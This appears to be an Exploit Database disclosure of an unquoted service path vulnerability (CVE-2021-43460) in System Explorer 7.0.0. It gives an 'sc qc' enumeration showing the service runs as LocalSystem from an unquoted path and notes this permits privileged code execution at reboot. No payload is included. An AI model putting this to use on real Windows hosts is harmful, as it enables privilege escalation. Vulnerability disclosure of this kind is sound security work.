Headline
CVE-2021-43460: Offensive Security’s Exploit Database Archive
An Unquoted Service Path vulnerability exists in System Explorer 7.0.0 via via a specially crafted file in the SystemExplorerHelpService service executable path.
# Exploit Title: System Explorer 7.0.0 - 'SystemExplorerHelpService' Unquoted Service Path
# Date: 2020-10-14
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: http://systemexplorer.net/
# Software Link: http://systemexplorer.net/download/SystemExplorerSetup.exe
# Version: Version 7.0.0
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763
# Service info:
C:\Users\m507>sc qc SystemExplorerHelpService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: SystemExplorerHelpService
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Explorer Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\m507>
# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.